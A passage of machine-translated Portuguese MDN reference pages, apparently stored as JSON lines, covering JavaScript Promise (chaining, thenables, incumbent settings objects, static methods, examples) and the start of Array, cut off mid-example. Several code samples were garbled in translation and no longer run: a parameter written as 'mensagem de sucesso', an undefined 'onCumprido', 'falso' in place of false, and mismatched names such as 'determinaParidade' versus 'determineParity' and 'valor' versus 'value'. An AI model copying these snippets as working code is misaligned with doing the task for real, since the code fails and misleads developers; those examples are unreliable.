conclusão de uma operação assíncrona e a anexação de seus manipuladores.\n\nUma promise é considerada *resolvida* se for cumprida ou rejeitada, mas não pendente.\n\n![Fluxograma mostrando como o estado Promise transita entre pendente, cumprido e rejeitado por meio de manipuladores then/catch. Uma promise pendente pode ser cumprida ou rejeitada. Se preenchido, o manipulador \"on fulfillment\", ou primeiro parâmetro do método then(), é executado e realiza outras ações assíncronas. Se rejeitado, o manipulador de erro, passado como o segundo parâmetro do método then() ou como o único parâmetro do método catch(), é executado.](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Promise/promises.png)\n\nVocê também ouvirá o termo *resolved* usado com promises — isso significa que a promise é liquidada ou \"bloqueada\" para corresponder ao estado eventual de outra promise e resolvê-la ou rejeitá-la não tem efeito. O documento Estados e destinos da proposta original da Promise contém mais detalhes sobre a terminologia da promise. Coloquialmente, promises \"resolvidas\" geralmente são equivalentes a promises \"cumpridas\", mas, conforme ilustrado em \"Estados e destinos\", as promises resolvidas também podem estar pendentes ou rejeitadas. Por exemplo:\n\n\n```js\nnew Promise((resolveOuter) => {\n  resolveOuter(\n    new Promise((resolveInner) => {\n      setTimeout(resolveInner, 1000);\n    }),\n  );\n});\n```\n\n\nEssa promise já está *resolvida* no momento em que é criada (porque o `resolveOuter` é chamado de forma síncrona), mas é resolvido com outra promise e, portanto, não será *cumprida* até 1 segundo depois, quando a promise interna for cumprida. Na prática, a \"resolução\" muitas vezes é feita nos bastidores e não observável, e apenas o seu cumprimento ou rejeição o são.\n\n**Nota:** várias outras linguagens têm mecanismos para avaliação preguiçosa e adiamento de uma computação, que eles também chamam de \"promises\", por exemplo, Esquema. As promises em JavaScript representam processos que já estão acontecendo, que podem ser encadeados com funções de retorno de chamada. Se você deseja avaliar lentamente uma expressão, considere usar uma função sem argumentos, por exemplo. `f = () => expressão` para criar a expressão avaliada lentamente e `f()` para avaliar a expressão imediatamente.\n\n### Promises em cadeia\n\nOs métodos ``Promise.prototype.then()``, ``Promise.prototype.catch()`` e ``Promise.prototype.finally()`` são usados para associar uma ação adicional com uma promise que se torna liquidada. Como ``Promise.prototype.then()`` e ``Promise.prototype.catch()`` métodos retornam promises, eles podem ser encadeados.\n\nO método `.then()` aceita até dois argumentos; o primeiro argumento é uma função de retorno de chamada para o caso cumprido da promise e o segundo argumento é uma função de retorno de chamada para o caso rejeitado. Cada `.then()` retorna um objeto de promise recém-gerado, que pode ser usado opcionalmente para encadeamento; por exemplo:\n\n\n```js\nconst minhaPromise = new Promise((resolve, reject) => {\n  setTimeout(() => {\n    resolve(\"foo\");\n  }, 300);\n});\n\nminhaPromise\n  .then(handleFulfilledA, handleRejectedA)\n  .then(handleFulfilledB, handleRejectedB)\n  .then(handleFulfilledC, handleRejectedC);\n```\n\n\nO processamento continua para o próximo elo da cadeia mesmo quando um `.then()` não possui uma função de retorno de chamada que retorna um objeto Promise. Portanto, uma cadeia pode omitir com segurança cada *rejection* função de retorno de chamada até o `.catch()` final.\n\nManipular uma promise rejeitada em cada `.then()` tem consequências mais adiante na cadeia de promises. Às vezes não há escolha, porque um erro deve ser tratado imediatamente. Nesses casos, devemos lançar um erro de algum tipo para manter o estado de erro na cadeia. Por outro lado, na ausência de uma necessidade imediata, é mais simples deixar de fora o tratamento de erros até uma instrução `.catch()` final. Um `.catch()` é realmente apenas um `.then()` sem um slot para uma função de retorno de chamada para o caso em que a promise é cumprida.\n\n\n```js\nminhaPromise\n  .then(handleFulfilledA)\n  .then(handleFulfilledB)\n  .then(handleFulfilledC)\n  .catch(handleRejectedAny);\n```\n\n\nUsando Arrow Function Expressions para as funções de retorno de chamada, a implementação da cadeia de promises pode ser algo assim:\n\n\n```js\nminhaPromise\n  .then((valor) => `${valor} e barra`)\n  .then((valor) => `${valor} e barra novamente`)\n  .then((valor) => `${valor} e novamente`)\n  .then((valor) => `${valor} e novamente`)\n  .then((valor) => {\n    console.log(valor);\n  })\n  .catch((erro) => {\n    console.error(err);\n  });\n```\n\n\n**Nota:** para uma execução mais rápida, todas as ações síncronas devem ser feitas preferencialmente em um manipulador, caso contrário, seriam necessários vários tiques para executar todos os manipuladores em sequência.\n\nA condição de término de uma promise determina o estado \"estabelecido\" da próxima promise na cadeia. Um estado \"cumprido\" indica uma conclusão bem-sucedida da promise, enquanto um estado \"rejeitado\" indica falta de sucesso. O valor de retorno de cada promise cumprida na cadeia é passado para o próximo `.then()`, enquanto o motivo da rejeição é passado para a próxima função de tratamento de rejeição na cadeia.\n\nAs promises de uma corrente são aninhadas como bonecas russas, mas são estouradas como o topo de uma pilha. A primeira promise na cadeia está mais profundamente aninhada e é a primeira a aparecer.\n```\n\n(promise D, (promise C, (promise B, (promise A))))\n```\n\n\nQuando um `nextValue` é uma promise, o efeito é uma substituição dinâmica. O `return` faz com que uma promise seja exibida, mas a promise `nextValue` é colocada em seu lugar. Para o aninhamento mostrado acima, suponha que `.then()` associado a \"promise B\" retorne um `nextValue` de \"promise X\". O aninhamento resultante ficaria assim:\n```\n\n(promise D, (promise C, (promise X)))\n```\n\n\nUma promise pode participar de mais de um aninhamento. Para o código a seguir, a transição de `promiseA` para um estado \"settled\" fará com que ambas as instâncias de `.then()` sejam invocadas.\n\n\n```js\nconst promiseA = new Promise(myExecutorFunc);\nconst promiseB = promiseA.then(handleFulfilled1, handleRejected1);\nconst promiseC = promiseA.then(handleFulfilled2, handleRejected2);\n```\n\n\nUma ação pode ser atribuída a uma promise já \"estabelecida\". Nesse caso, a ação (se apropriado) será executada na primeira oportunidade assíncrona. Observe que as promises são garantidas como assíncronas. Portanto, uma ação para uma promise já \"estabelecida\" ocorrerá somente depois que a pilha for limpa e um tique-taque do relógio passar. O efeito é muito parecido com `setTimeout(action,10)`.\n\n\n```js\nconst promiseA = new Promise((resoluçãoFunc, rejeiçãoFunc) => {\n  resoluçãoFunc(777);\n});\n// Neste ponto, \"promiseA\" já está liquidado.\npromiseA.then((val) => console.log(\"log assíncrono tem val:\", val));\nconsole.log(\"log imediato\");\n\n// produz saída nesta ordem:\n// registro imediato\n// registro assíncrono tem valor: 777\n```\n\n### Thenables\n\nO ecossistema JavaScript fez várias implementações do Promise muito antes de se tornar parte da linguagem. Apesar de serem representados de forma diferente internamente, no mínimo, todos os objetos do tipo Promise implementam a interface *Thenable*. Um thenable implementa o método `.then()`, que é chamado com dois retornos de chamada: um para quando a promise é cumprida, um para quando for rejeitado. Promises também são possíveis.\n\nPara interoperar com as implementações de Promise existentes, a linguagem permite o uso de thenables no lugar de promises. Por exemplo, `Promise.resolve` não apenas resolverá as promises, mas também rastreará os entãoables.\n\n\n```js\nconst aThenable = {\n  then(onFulfilled, onRejected) {\n    onCumprido({\n      // O thenable é preenchido com outro thenable\n      then(onFulfilled, onRejected) {\n        onCumprido(42);\n      },\n    });\n  },\n};\n\nPromise.resolve(aThenable); // Uma promise cumprida com 42\n```\n\n### Rastreamento de objetos de configurações incumbentes\n\nUm objeto de configurações é um ambiente que fornece informações adicionais quando o código JavaScript está em execução. Isso inclui o mapa do domínio e do módulo, bem como informações específicas do HTML, como a origem. O objeto de configurações incumbente é rastreado para garantir que o navegador saibas qual usar para um determinado pedaço de código de usuário.\n\nPara melhor visualizar isso, podemos dar uma olhada mais de perto em como o reino pode ser um problema. Um **reino** pode ser pensado aproximadamente como o objeto global. O que é único sobre os realms é que eles contêm todas as informações necessárias para executar o código JavaScript. Isso inclui objetos como `Array` e `Error`. Cada objeto de configurações tem sua própria \"cópia\" e não são compartilhados. Isso pode causar algum comportamento inesperado em relação às promises. Para contornar isso, rastreamos algo chamado **objeto de configurações incumbentes**. Isso representa informações específicas do contexto do código do usuário responsável por uma determinada chamada de função.\n\nPara ilustrar isso um pouco mais, podemos dar uma olhada em como um `<iframe>` embutido em um documento se comunica com seu host. Como todas as APIs da Web estão cientes do objeto de configurações incumbente, o seguinte funcionará em todos os navegadores:\n\n\n```html\n<!doctype html> <iframe></iframe>\n<!-- temos um reino aqui -->\n<script>\n // temos um reino aqui também\n const bound = frames[0].postMessage.bind(frames[0], \"alguns dados\", \"\\*\");\n // bound é uma função embutida — não há usuário\n // código na pilha, então qual reino usamos?\n setTimeout(limite);\n // isso ainda funciona, porque usamos o mais novo\n // reino (o titular) na pilha\n</script>\n```\n\n\nO mesmo conceito se aplica às promises. Se modificarmos um pouco o exemplo acima, obtemos isso:\n\n\n```html\n<!doctype html> <iframe></iframe>\n<!-- temos um reino aqui -->\n<script>\n // temos um reino aqui também\n const bound = frames[0].postMessage.bind(frames[0], \"alguns dados\", \"\\*\");\n // bound é uma função incorporada — não há usuário\n // código na pilha — qual reino usamos?\n Promise.resolve(undefined).then(bound);\n // isso ainda funciona, porque usamos o mais novo\n // reino (o titular) na pilha\n</script>\n```\n\n\nSe alterarmos isso para que o `<iframe>` no documento esteja ouvindo as mensagens de postagem, podemos observar o efeito do objeto de configurações incumbente:\n\n\n```html\n<!-- y.html -->\n<!doctype html>\n<iframe src=\"x.html\"></iframe>\n<script>\n const bound = frames[0].postMessage.bind(frames[0], \"alguns dados\", \"\\*\");\n Promise.resolve(undefined).then(bound);\n</script>\n```\n\n\n\n```html\n<!-- x.html -->\n<!doctype html>\n<script>\n window.addEventListener(\n \"mensagem\",\n (evento) => {\n document.querySelector(\"#texto\").textContent = \"olá\";\n // este código será executado apenas em navegadores que rastreiam o objeto de configurações incumbente\n console.log(evento);\n },\n falso,\n );\n</script>\n```\n\n\nNo exemplo acima, o texto interno do `<iframe>` será atualizado somente se o objeto de configurações incumbente for rastreado. Isso porque, sem rastrear o titular, podemos acabar usando o ambiente errado para enviar a mensagem.\n\n**Nota:** atualmente, o rastreamento de realm incumbente é totalmente implementado no Firefox e tem implementações parciais no Chrome e no Safari.\n\nConstrutor\n----------\n\n`Promise()` (en-US)\n\nCria um novo objeto `Promise`. O construtor é usado principalmente para encapsular funções que ainda não suportam promises.\n\nMétodos estáticos\n-----------------\n\n`Promise.all(iterable)`\n\nAguarde que todas as promises sejam cumpridas ou que alguma seja rejeitada.\n\nSe a promise retornada for cumprida, ela será cumprida com uma matriz de agregação dos valores das promises cumpridas, na mesma ordem definida no iterável de várias promises.\n\nSe for rejeitado, será rejeitado com o motivo da primeira promise no iterável que foi rejeitada.\n\n`Promise.allSettled(iterable)`\n\nAguarde até que todas as promises sejam resolvidas (cada uma pode cumprir ou rejeitar).\n\nRetorna uma Promise que cumpre depois que todas as promises fornecidas são cumpridas ou rejeitadas, com uma matriz de objetos que descrevem o resultado de cada promise.\n\n`Promise.any(iterable)` (en-US)\n\nPega um iterável de objetos Promise e, assim que uma das promises do iterável é cumprida, retorna uma única promise que cumpre com o valor dessa promise.\n\n`Promise.race(iterable)`\n\nAguarde até que alguma das promises seja cumprida ou rejeitada.\n\nSe a promise retornada for cumprida, ela será cumprida com o valor da primeira promise no iterável que foi cumprida.\n\nSe for rejeitado, será rejeitado com o motivo da primeira promise que foi rejeitada.\n\n`Promise.reject(reason)`\n\nRetorna um novo objeto `Promise` que é rejeitado com o motivo fornecido.\n\n`Promise.resolve(value)`\n\nRetorna um novo objeto `Promise` que é resolvido com o valor fornecido. Se o valor for um thenable (ou seja, tem um método `then`), a promise retornada \"seguirá\" esse thenable, adotando seu estado eventual; caso contrário, a promise devolvida será cumprida com o valor.\n\nGeralmente, se você não sabe se um valor é uma promise ou não, `Promise.resolve(value)` e trabalhe com o valor de retorno como uma promise.\n\nMétodos de instância\n--------------------\n\nConsulte o Guia do Microtask (en-US) para saber mais sobre como esses métodos usam a fila e os serviços do Microtask.\n\n`Promise.prototype.catch()`\n\nAnexa um retorno de chamada do manipulador de rejeição à promise e retorna uma nova promise resolvendo o valor de retorno do retorno de chamada se for chamado ou seu valor de cumprimento original se a promise for cumprida.\n\n`Promise.prototype.then()`\n\nAnexa manipuladores de cumprimento e rejeição à promise e retorna uma nova promise resolvendo o valor de retorno do manipulador chamado ou seu valor estabelecido original se a promise não foi tratada (ou seja, se o manipulador relevante `onFulfilled` ou `onRejected` não é uma função).\n\n`Promise.prototype.finally()`\n\nAnexa um manipulador à promise e retorna uma nova promise que é resolvida quando a promise original é resolvida. O manipulador é chamado quando a promise é liquidada, seja cumprida ou rejeitada.\n\nExemplos\n--------\n\n### Exemplo básico\n\n\n```js\nconst minhaPrimeiraPromise = new Promise((resolve, reject) => {\n  // Chamamos resolve(...) quando o que estávamos fazendo de forma assíncrona foi bem-sucedido e reject(...) quando falhou.\n  // Neste exemplo, usamos setTimeout(...) para simular código assíncrono.\n  // Na realidade, você provavelmente estará usando algo como XHR ou uma API HTML.\n  setTimeout(() => {\n    resolve(\"Sucesso!\"); // Yay! Tudo ocorreu bem!\n  }, 250);\n});\n\nminhaPrimeiraPromise.then((mensagem de sucesso) => {\n  // successMessage é o que passamos na função resolve(...) acima.\n  // Não precisa ser uma string, mas se for apenas uma mensagem de sucesso, provavelmente será.\n  console.log(`Yay! ${successMessage}`);\n});\n```\n\n### Exemplo com diversas situações\n\nEste exemplo mostra diversas técnicas para usar os recursos do Promise e diversas situações que podem ocorrer. Para entender isso, comece rolando até a parte inferior do bloco de código e examine a cadeia de promises. Após o fornecimento de uma promise inicial, uma cadeia de promises pode seguir. A cadeia é composta de chamadas `.then()`, e normalmente (mas não necessariamente) tem um único `.catch()` no final, opcionalmente seguido por `.finally()`. Neste exemplo, a cadeia de promises é iniciada por uma construção `new Promise()` escrita sob medida; mas, na prática, as cadeias de promises geralmente começam com uma função de API (escrita por outra pessoa) que retorna uma promise.\n\nA função de exemplo `tetheredGetNumber()` mostra que um gerador de promise utilizará `reject()` ao configurar uma chamada assíncrona, ou dentro do call-back, ou ambos. A função `promiseGetWord()` ilustra como uma função de API pode gerar e retornar uma promise de maneira independente.\n\nObserve que a função `troubleWithGetNumber()` termina com um `throw`. Isso é forçado porque uma cadeia de promises passa por todas as promises `.then()`, mesmo após um erro, e sem o `throw`, o erro pareceria \"corrigido\". Isso é um aborrecimento, e por esta razão, é comum omitir `rejectionFunc` em toda a cadeia de promises `.then()`, e ter apenas um único `rejectionFunc` no `catch()` final.\n\nEste código pode ser executado em NodeJS. A compreensão é aprimorada ao ver os erros realmente ocorrerem. Para forçar mais erros, altere os valores de `threshold`.\n\n\n```js\n// Para experimentar o tratamento de erros, os valores \"threshold\" causam erros aleatoriamente\nconst THRESHOLD\\_A = 8; // pode usar zero 0 para garantir o erro\n\nfunction tetheredGetNumber(resolve, reject) {\n  setTimeout(() => {\n    const randomInt = Date.now();\n    const value = randomInt % 10;\n    if (value < THRESHOLD\\_A) {\n      resolve(value);\n    } else {\n      reject(`Muito grande: ${value}`);\n    }\n  }, 500);\n}\n\nfunction determinaParidade(valor) {\n  const isOdd = valor % 2 === 1;\n  return { valor, isOdd };\n}\n\nfunction troubleWithGetNumber(reason) {\n  const err = new Error(\"Problema para obter o número\", { cause: reason });\n  console.error(err);\n  throw err;\n}\n\nfunction promiseGetWord(parityInfo) {\n  return new Promise((resolve, reject) => {\n    const { value, isOdd } = parityInfo;\n    if (value >= THRESHOLD\\_A - 1) {\n      reject(`Ainda muito grande: ${valor}`);\n    } else {\n      parityInfo.wordEvenOdd = isOdd ? \"ímpar\" : \"par\";\n      resolve(parityInfo);\n    }\n  });\n}\n\nnew Promise(tetheredGetNumber)\n  .then(determineParity, troubleWithGetNumber)\n  .then(promiseGetWord)\n  .then((info) => {\n    console.log(`Recebido: ${info.value}, ${info.wordEvenOdd}`);\n    return info;\n  })\n  .catch((reason) => {\n    if (reason.cause) {\n      console.error(\"Já havia tratado o erro anteriormente\");\n    } else {\n      console.error(`Problema com promiseGetWord(): ${reason}`);\n    }\n  })\n  .finally((info) => console.log(\"Tudo pronto\"));\n```\n\n### Exemplo Avançado\n\nEste pequeno exemplo mostra o mecanismo of a `Promise`. O método `testPromise()` é chamado cada vez que o `<button>` é clicado. Ele cria uma promise que será cumprida, usando `setTimeout()` (en-US), para a contagem de promises (número começando em 1) a cada 1-3 segundos, aleatoriamente. O construtor `Promise()` é usado para criar a promise.\n\nO cumprimento da promise é registrado, por meio de um callback de cumprimento definido usando `p1.then()`. Alguns logs mostram como a parte síncrona do método é dissociada da conclusão assíncrona da promise.\n\nAo clicar no botão várias vezes em um curto espaço de tempo, você verá até as diferentes promises sendo cumpridas uma após a outra.\n\n#### HTML\n\n\n```html\n<button id=\"make-promise\">Faça uma promise!</button>\n<div id=\"log\"></div>\n```\n\n\n#### JavaScript\n\n\n```js\n\"use strict\";\n\nlet promiseCount = 0;\n\nfunction testPromise() {\n  const thisPromiseCount = ++promiseCount;\n  const log = document.getElementById(\"log\");\n  // começar\n  log.insertAdjacentHTML(\"beforeend\", `${thisPromiseCount}) Iniciado<br>`);\n  // Fazemos uma nova promise: prometemos uma contagem numérica dessa promise,\n  // a partir de 1 (após esperar 3s)\n  const p1 = new Promise((resolve, reject) => {\n    // A função executora é chamada com a habilidade\n    // para resolver ou rejeitar a promise\n    log.insertAdjacentHTML(\n      \"beforeend\",\n      `${thisPromiseCount}) Construtor de promise<br>`,\n    );\n    // Este é apenas um exemplo para criar assincronismo\n    setTimeout(\n      () => {\n        // Nós cumprimos a promise\n        resolve(thisPromiseCount);\n      },\n      Math.random() \\* 2000 + 1000,\n    );\n  });\n\n  // Definimos o que fazer quando a promise é resolvida com a chamada then(),\n  // e o que fazer quando a promise é rejeitada com a chamada catch()\n  p1.then((val) => {\n    // Registra o valor de atendimento\n    log.insertAdjacentHTML(\"beforeend\", `${val}) Promise cumprida<br>`);\n  }).catch((reason) => {\n    // Registra o motivo da rejeição\n    console.log(`Manuseie a promise rejeitada (${reason}) aqui.`);\n  });\n  // fim\n  log.insertAdjacentHTML(\"beforeend\", `${thisPromiseCount}) Promise feita<br>`);\n}\n\nconst btn = document.getElementById(\"make-promise\");\nbtn.addEventListener(\"click\", testPromise);\n```\n\n\n#### Resultado\n\n### Carregando uma imagem com XHR\n\nOutro exemplo simples usando `Promise` e `XMLHttpRequest` para carregar uma imagem está disponível no MDN GitHub js-examples. Você também pode ver em ação. Cada etapa é comentada e permite acompanhar de perto a arquitetura Promise e XHR.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise-objects |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill de `Promise` em `core-js`\n* Usando promises\n* Promises/A+ especificação\n* Promises JavaScript: uma introdução\n* Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript"}
{"title":"Array - JavaScript","text":"Array\n=====\n\nSumário\n-------\n\nO objeto `Array` do JavaScript é um objeto global usado na construção de 'arrays': objetos de alto nível semelhantes a listas.\n\nSintaxe\n-------\n```\n\n[element0, element1, ..., elementN]\nnew Array(element0, element1, ..., elementN)\nnew Array(arrayLength)\n```\n\n\n`element0, element1, ..., elementN`\n\nUm array JavaScript é inicializado com os elementos contém, exceto no caso onde um único argumento é passado para o construtor do `Array` e esse argumento é um número (veja o parâmetro arrayLength abaixo). Esse caso especial só se aplica para os arrays JavaScript criados com o construtor `Array` , e não para literais de array criados com a sintaxe de colchetes [].\n\n`arrayLength`\n\nSe o único argumento passado para o construtor do `Array` for um número inteiro entre 0 e 232-1 (inclusive), um novo array com o tamanho desse número é retornado. Se o argumento for qualquer outro número, uma exceção `RangeError` (en-US) é lançada.\n\nDescrição\n---------\n\nArrays são objetos semelhantes a listas que vêm com uma série de métodos embutidos para realizar operações de travessia e mutação. Nem o tamanho de um array JavaScript nem os tipos de elementos são fixos. Já que o tamanho de um array pode ser alterado a qualquer momento e os dados podem ser armazenados em posições não contíguas, arrays JavaScript não tem a garantia de serem densos; isso depende de como o programador escolhe usá-los. De uma maneira geral, essas são características convenientes, mas, se esses recursos não são desejáveis para o seu caso em particular, você pode considerar usar arrays tipados.\n\nArrays não podem usar strings como índices (como em um array associativo), devem ser usados números inteiros. Definir ou acessar não-inteiros usando notação de colchetes (ou notação de ponto) não vai definir ou recuperar um elemento do array em si, mas sim definir ou acessar uma variável associada com a coleção de propriedades de objeto daquele array. As propriedades de objeto do array e a lista de elementos do array são separados, e as operações de travessia e mutação não podem ser aplicadas a essas propriedades nomeadas.\n\n### Accessando elementos de um array\n\nArrays JavaScript começam com índice zero: o primeiro elemento de um array está na posição `0` e o último elemento está na posição equivalente ao valor da propriedade `length` (en-US) (tamanho) menos 1.\n\n\n```js\nvar arr = [\"este é o primeiro elemento\", \"este é o segundo elemento\"];\nconsole.log(arr[0]); // exibe 'este é o primeiro elemento'\nconsole.log(arr[1]); // exibe 'este é o segundo elemento'\nconsole.log(arr[arr.length - 1]); // exibe 'este é o segundo elemento'\n```\n\n\nElementos de um array são somente propriedades de objetos, da forma que `toString` (en-US) é uma propriedade. Contudo, note que tentando acessar o primeiro elemento de um array da seguinte forma causará um erro de sintaxe, pois o nome da propriedade é inválido:\n\n\n```js\nconsole.log(arr.0); // um erro de sintaxe\n```\n\n\nNão há nada de especial a respeito de arrays JavaScript e suas propriedades que causam isso. As propriedades JavaScript que começam com um dígito não podem ser referenciadas com notação de ponto. Elas necesitam usar notação de colchetes para poderem ser acessadas. Por exemplo, se você tivesse um objeto com a propriedade \"3d\", também teria que ser referenciá-la usando notação de colchetes. Por exemplo:\n\n\n```js\nvar anos = [1950, 1960, 1970, 1980, 1990, 2000, 2010];\nconsole.log(anos.0); // um erro de sintaxe\nconsole.log(anos[0]); // funciona corretamente\n```\n\n\n\n```js\nrenderer.3d.setTexture(model, 'personagem.png'); // um erro de sintaxe\nrenderer['3d'].setTexture(model, 'personagem.png'); //funciona corretamente\n```\n\n\nNote que no exemplo `3d`, `'3d'` teve de ser colocado entre aspas. É possivel também colocar entre aspas os índices de arrays JavaScript (ou seja, `years['2']` ao invés de `years[2]`), contudo isto não é necessário. O valor 2 em `years[2]` eventualmente será convertido a uma string pela engine do JavaScript através de uma conversão explicita com o método `toString`. E é por esta razão que `'2'` e `'02'` irão referenciar dois slots diferentes no objeto `anos` e o seguinte exemplo pode ser *`true`*:\n\n\n```js\nconsole.log(anos[\"2\"] != anos[\"02\"]);\n```\n\n\nDe forma similar, propriedades de objeto que sejam palavras reservadas(!) só podem ser acessadas como strings em notação de colchetes:\n\n\n```js\nvar promessa = {\n  var: \"texto\",\n  array: [1, 2, 3, 4],\n};\n\nconsole.log(promessa[\"var\"]);\n```\n\n### Relação entre *`length`* e propriedades numéricas\n\nAs propriedades `length` (en-US) e numéricas de um array Javascript são conectadas. Varios dos métodos javascript pré-definidos (por exemplo, `join` (en-US), `slice` (en-US), `indexOf` (en-US) etc.) levam em conta o valor da propriedade `length` de um array quando eles são chamados. Outros métodos (por exemplo, `push` (en-US), `splice` etc.) também resultam em uma atualização na propriedade `length` do array.\n\n\n```js\nvar frutas = [];\nfrutas.push(\"banana\", \"maça\", \"pêssego\");\n\nconsole.log(frutas.length); // 3\n```\n\n\nQuando configurar uma propriedade num array Javascript em que a propriedade é um índice valido do array e este índice está fora do atual limite do array, o array irá crescer para um tamanho grande o suficiente para acomodar o elemento neste índice, e a engine irá atualizar a propriedade *length* do array de acordo com isto:\n\n\n```js\nfrutas[5] = \"manga\";\nconsole.log(frutas[5]); // 'manga'\nconsole.log(Object.keys(frutas)); // ['0', '1', '2', '5']\nconsole.log(frutas.length); // 6\n```\n\n\nConfigurar a propriedade `length` diretamente, também resulta em um comportamento especial:\n\n\n```js\nfrutas.length = 10;\nconsole.log(Object.keys(frutas)); // ['0', '1', '2', '5']\nconsole.log(frutas.length); // 10\n```\n\n\nDiminuir o valor de `length`, entretanto, apaga elementos:\n\n\n```js\nfrutas.length = 2;\nconsole.log(Object.keys(frutas)); // ['0', '1']\nconsole.log(frutas.length); // 2\n```\n\n### Criando um array usando o resultado de uma comparação\n\nO resultado de uma comparação entre uma *expressão regular* e uma string pode criar um array Javascript. Este array tem propriedades e elementos que disponibilizam informações sobre a comparação. Esse array é o valor de retorno dos métodos `RegExp.exec`, `String.match`, e `String.replace`. Para explicar melhor sobre estas propriedades e elementos, veja o seguinte exemplo e então consulte a tabela abaixo:\n\n\n```js\n// Encontra um d seguido por um ou mais b's seguido por um d\n// Salva os b's encontrados e o d seguinte\n// Ignora caixa (maiúscula/minúscula)\n\nvar minhaRegex = /d(b+)(d)/i;\nvar meuArray = minhaRegex.exec(\"cdbBdbsbz\");\n```\n\n\nAs propriedades e elementos retornados desta comparação são os seguintes:\n\n| Propriedade/Elemento | Descrição | Exemplo |\n| --- | --- | --- |\n| `input` | Uma propriedade somente-leitura que reflete a string original a qual a expressão regular foi comparada. | cdbBdbsbz |\n| `index` | Uma propriedade somente-leitura que é o índice baseado em zero da comparação na string. | 1 |\n| `[0]` | Um elemento somente-leitura que especifica os ultimos caracteres que foram encontrados. | dbBd |\n| `[1], ...[n]` | Elementos somente-leitura que especificam as *substrings* de comparações entre parênteses encontradas, se incluidas na expressão regular. O número de possíveis *substrings* entre parenteses é ilimitado. | [1]: bB [2]: d |\n\nPropriedades\n------------\n\n`Array.length`\n\nPropriedade comprimento do construtor `Array`, cujo valor é 1.\n\n`get Array[@@species]` (en-US)\n\nA função de construtor que é utilizada para criar objetos derivados.\n\n`Array.prototype`\n\nPermite a adição de propriedades para todos os objetos array.\n\nMétodos\n-------\n\n`Array.from()`\n\nCria uma nova instância de `Array` a partir de um objeto semelhante ou iterável.\n\n`Array.isArray()`\n\nRetorna `true` se a variável é um array e `false` caso contrário.\n\n`Array.of()`\n\nCria uma nova instância de `Array` com um número variável de argumentos, independentemente do número ou tipo dos argumentos.\n\nInstâncias de `Array`\n---------------------\n\nTodas as instâncias de `Array` herdam de `Array.prototype`. O protótipo do construtor `Array` pode ser modificado de forma a afetar todas as instâncias de `Array`.\n\n### Propriedades\n\n{{ page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Array/prototype', 'Properties') }}### Métodos\n\n#### Métodos modificadores\n\n{{ page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Array/prototype', 'Mutator\\_methods') }}\n#### Métodos de acesso\n\n{{ page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Array/prototype', 'Accessor\\_methods') }}\n#### Métodos de iteração\n\n{{ page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects/Array/prototype', 'Iteration\\_methods') }}Métodos genéricos de `Array`\n----------------------------\n\n**Aviso:** **Métodos genéricos de arrays não seguem o padrão, são obsoletos e serão removidos em breve.**\n\nAlgumas vezes você poderá querer aplicar métodos de arrays para strings ou outros objetos parecidos com arrays (como em `argumentos` (en-US) de funções). Ao fazer isto, você trata uma string como um array de caracteres (ou em outros casos onde trata-se não-arrays como um array). Por exemplo, para checar se cada caractere em uma varivável *str* é uma letra, você poderia escrever:\n\n\n```js\nfunction isLetter(character) {\n  return character >= \"a\" && character <= \"z\";\n}\n\nif (Array.prototype.every.call(str, isLetter))\n  alert(\"A string '\" + str + \"' contém somente letras!\");\n```\n\n\nEsta notação é um pouco despendiosa e o JavaScript 1.6 introduziu a seguinte abreviação genérica:\n\n\n```js\nif (Array.every(isLetter, str))\n  alert(\"A string '\" + str + \"' contém somente letras!\");\n```\n\n\nGenerics também estão disponíveis em `String`.\n\nEstes não são atualmente parte dos padrões ECMAScript (através do ES2015 `Array.from()` pode se conseguir isto). A seguir segue uma adaptação para permitir o uso em todos os navegadores:\n\n\n```js\n/\\*globals define\\*/\n// Assumes Array extras already present (one may use shims for these as well)\n(function () {\n  \"use strict\";\n\n  var i,\n    // We could also build the array of methods with the following, but the\n    // getOwnPropertyNames() method is non-shimable:\n    // Object.getOwnPropertyNames(Array).filter(function (methodName) {return typeof Array[methodName] === 'function'});\n    methods = [\n      \"join\",\n      \"reverse\",\n      \"sort\",\n      \"push\",\n      \"pop\",\n      \"shift\",\n      \"unshift\",\n      \"splice\",\n      \"concat\",\n      \"slice\",\n      \"indexOf\",\n      \"lastIndexOf\",\n      \"forEach\",\n      \"map\",\n      \"reduce\",\n      \"reduceRight\",\n      \"filter\",\n      \"some\",\n      \"every\",\n      \"isArray\",\n    ],\n    methodCount = methods.length,\n    assignArrayGeneric = function (methodName) {\n      var method = Array.prototype[methodName];\n      Array[methodName] = function (arg1) {\n        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));\n      };\n    };\n\n  for (i = 0; i < methodCount; i++) {\n    assignArrayGeneric(methods[i]);\n  }\n})();\n```\n\nExemplos\n--------\n\n### Exemplo: Criando um array\n\nO exemplo a seguir cria um array, `msgArray`, com *length* 0, então atribui valores para `msgArray[0]` e `msgArray[99]`, trocando o *length* do array para 100.\n\n\n```js\nvar msgArray = new Array();\nmsgArray[0] = \"Hello\";\nmsgArray[99] = \"world\";\n\nif (msgArray.length == 100) console.log(\"O length é 100.\");\n```\n\n### Criando um Array\n\n\n```js\nvar frutas = [\"Maçã\", \"Banana\"];\n\nconsole.log(frutas.length);\n// 2\n```\n\n### Acessar um item (*index*) do Array\n\n\n```js\nvar primeiro = frutas[0];\n// Maçã\n\nvar ultimo = frutas[frutas.length - 1];\n// Banana\n```\n\n### Iterar um Array\n\n\n```js\nfrutas.forEach(function (item, indice, array) {\n  console.log(item, indice);\n});\n// Maçã 0\n// Banana 1\n```\n\n### Adicionar um item ao final do Array\n\n\n```js\nvar adicionar = frutas.push(\"Laranja\");\n// ['Maçã', 'Banana', 'Laranja']\n```\n\n### Remover um item do final do Array\n\n\n```js\nvar ultimo = frutas.pop(); // remove Laranja (do final)\n// ['Maçã', 'Banana'];\n```\n\n### Remover do início do Array\n\n\n```js\nvar primeiro = frutas.shift(); // remove Maçã do início\n// ['Banana'];\n```\n\n### Adicionar ao início do Array\n\n\n```js\nvar adicionar = frutas.unshift(\"Morango\"); // adiciona ao início\n// 